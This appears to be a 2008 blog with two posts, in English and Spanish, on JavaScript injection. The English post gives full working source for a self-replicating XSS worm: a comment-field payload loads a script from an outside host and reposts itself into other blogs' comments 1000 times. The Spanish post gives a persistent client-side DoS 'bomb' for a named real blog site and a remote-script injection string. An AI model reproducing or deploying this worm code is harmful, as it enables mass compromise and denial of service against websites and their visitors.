lunes, 21 de abril de 2008

Super Lamer Javascript Worm

In this case we will discuss how to build the most basic JavaScript Worm exploiting a JavaScript injection.

First, you need to find a multi-user weblog system that is affected a JavaScript injection in the commentaries left by the visitors, we will call it www.truchilog.com. For example, when the visitor is leaving his name maybe he can input:

</a><script src=http://badpage.googlepages.com/j.js></script><a>

Injecting a small JavaScript script that invokes another arbitrary long script hosted in a free service like GooglePages. To use it's complete viral power the worm must infect new weblogs through new malformed commentaries on another weblogs.

You must notice that in JavaScript to view the result of a HTTP request it must be sent from the same domain. In this basic worm, the new victims are retrieved from the home page of the weblog system, i.e. '/'. The using a regular expressions we located in the home new weblogs or post in the system and proceed with a HTTP POST request to inject the viral payload into a comentary.

In this hypotetical example, the weblog posts detected has the form 'name.truchilog.com/post_number'. The complete code in j.js follows, notice that to be extra malicious the victims are infected 1000 times.

// generic function to start a http connection
// from JavaScript, is multibrowser
function init_conn() {
var success = false;
var xmlhttp; // Setup a variable.
try {
// This checks for alternate browsers
// such as Opera or Firefox
xmlhttp = new XMLHttpRequest();
success = true;
} catch (e) {
// Oops, not one of those. Try different
// IE implementations.
var XHR = new Array('MSXML2.XMLHTTP.5.0',
'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP');

for (var i=0;i < XHR.length && !success; i++) {
try {
xmlhttp = new ActiveXObject(XHR[i]);
success = true;
} catch (e) {}
}
if (!success) {
// No XMLHttpRequest object? Is this 1990?
throw new Error('No XHR object');
}
}

return xmlhttp;
}


function infect(text) {

// harvest the user and post_num from the last posts.
var regexp = new RegExp('http://[a-z0-9_]+.truchilog.com/[0-9]+/','g');
var mymatch = text.match(regexp);

for (var i = 0; i < mymatch.length; i++) {

// var mymatch = myregexp.exec(text);
chain = new String(mymatch[i]);
pieces = chain.split ("/"); // el separador es el espacio

user = pieces[2].split(".")[0];
post_num = pieces[3]

// inject the the small javascript in
//the post using the name and post_num collected

// URI to send params to
var targetURI = "/commentaries.php?F="+user+"&P="+post_num;
var params = 'Name=%3C%2Fa%3E%3Cscript+src%3Dhttp%3A%2F%2F';
params += 'badpage.googlepages.com%2Fj.js%3E%3C%2Fscript%3E&';
params += 'Commentary=Hello_your_blog_was_infected&EMail=&';
params += 'URLPage=&x=65&y=4';
xmlhttp = init_conn();
//Open XHR and then set headers.
xmlhttp.open("POST", targetURI, true);
xmlhttp.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
//Send the parameters to the target.
xmlhttp.send(params);
}

}

// search for the last posts.

function p()
{
if(R.readyState==4)
{
var text = R.responseText;
// Setup a variable.
var xmlhttp;
// infect many times
for(i=0; i < 1000; i++) {
infect(text);
}
}
}

// start infection.
var R= init_conn();
R.onreadystatechange=p;
R.open('GET','/lastPosts.php',true);
R.send(null);



miércoles, 16 de abril de 2008

Super Lamer JavaScript Bomb

Esto no es muy avanzado, pero como no se mucho de programacion web y de cosas dinámicas como AJAX, me sirvió para aprender un poco más.

La idea es las páginas web pueden contener código JavaScript que haga requests HTTP dentro del mismo dominio web de la página y requests HTTP fuera del dominio pero sin ver el resultado. Entonces si alguna página web no filtra bien el contenido que deja poner y te permite inyectar JavaScript entonces podes hacer las cosas que hace la página web cuando alguién la accede. Un ejemplo famoso y descontrolado de esto fue el Worm de MySpace "samy is my hero".

Este tipo de inyecciones son conocidas como Cross Site Scripting cuando se realizan requests HTTP para robar información de usuarios de un dominio y mandarla a otro.

Dependiendo del caso se pueden hacer pocas cosas o muchas y generalmente hay restricciones de espacio y de cosas dadas por el dominio cambios en el dominio (www.foo.com en vez de foo.com), no se puede leer información de otros dominios, sí enviar.

En mi caso particular encontré una inyección de JavaScript en un sitio web de blogs, llamado Obolog. Mi idea era ver si es posible hacer un worm que no use informacion de usuario logueados, sino que replique solamente usando los comentarios de los blogs. Como solamente se pueden inyectar 256 carácteres lo único que pude hacer es un GET e imprimirlo para lograr un comentario anónimo persistente que hace que la página se autoreplique en el browser. es decir DoS (denial of service) del cliente. Esta falla ya fue reportada, con suerte será reparada en breve.

Si uno quiere meter esta mini-bomba JavaScript en un comentario de pablito.obolog.com/nombre-del-post-34543534 hay que meter en la parte del GET del siguiente código (compactado para que ocupe menos espacio) precedido por comillas dobles " para escapar del campo:

<script>
function p()
{
if(R.readyState==4)
{
for(i=0;i<2;i++)
document.write(R.responseText)
}
var R=new XMLHttpRequest();
R.onreadystatechange=p;
R.open('GET','/nombre-del-post-34543534',true);
R.send(null)
</script>


El efecto es que cuando el comentario esta cargado y se mira la página entonces la página pide otra copia de si misma al servidor y la imprime, siendo la copia (que incluye el código JavaScript) evaluada nuevamente de manera recursiva. La página se imprime dos veces para tratar de lograr un efecto exponencial, sin mucho exito creo.

Si la inyección puede ser mostrada en la página principal se puede meter '/' en la página y tener una bomba más genérica.

Ver el resultado en este comentario.


Como me ilustra mi amigo aurelianito, en realidad se puede hacer mucho más porque se puede incluir un archivo JavaScript completo de otro dominio usando algun truco básico como. Se nota que soy super lamer.


"><script src=http://subdom.site.com/js.js></script><noscript>


Entonces la cuestión se pone mucho más peligrosa ahora. El truco este del src fue extraido del artículo Anatomy of a "Pseudo-Reflective" Worm.